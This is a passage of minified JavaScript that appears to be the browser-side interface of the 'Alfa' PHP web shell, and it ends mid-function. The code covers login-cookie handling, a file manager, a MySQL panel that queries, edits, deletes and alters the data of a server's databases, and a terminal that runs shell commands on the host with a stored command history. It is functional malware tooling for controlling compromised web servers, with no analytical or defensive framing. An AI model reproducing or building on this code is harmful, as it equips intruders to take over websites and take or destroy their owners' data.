alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>&gt;</option><option value='>='>&gt;=</option><option value='<'>&lt;</option><option value='<='>&lt;=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var 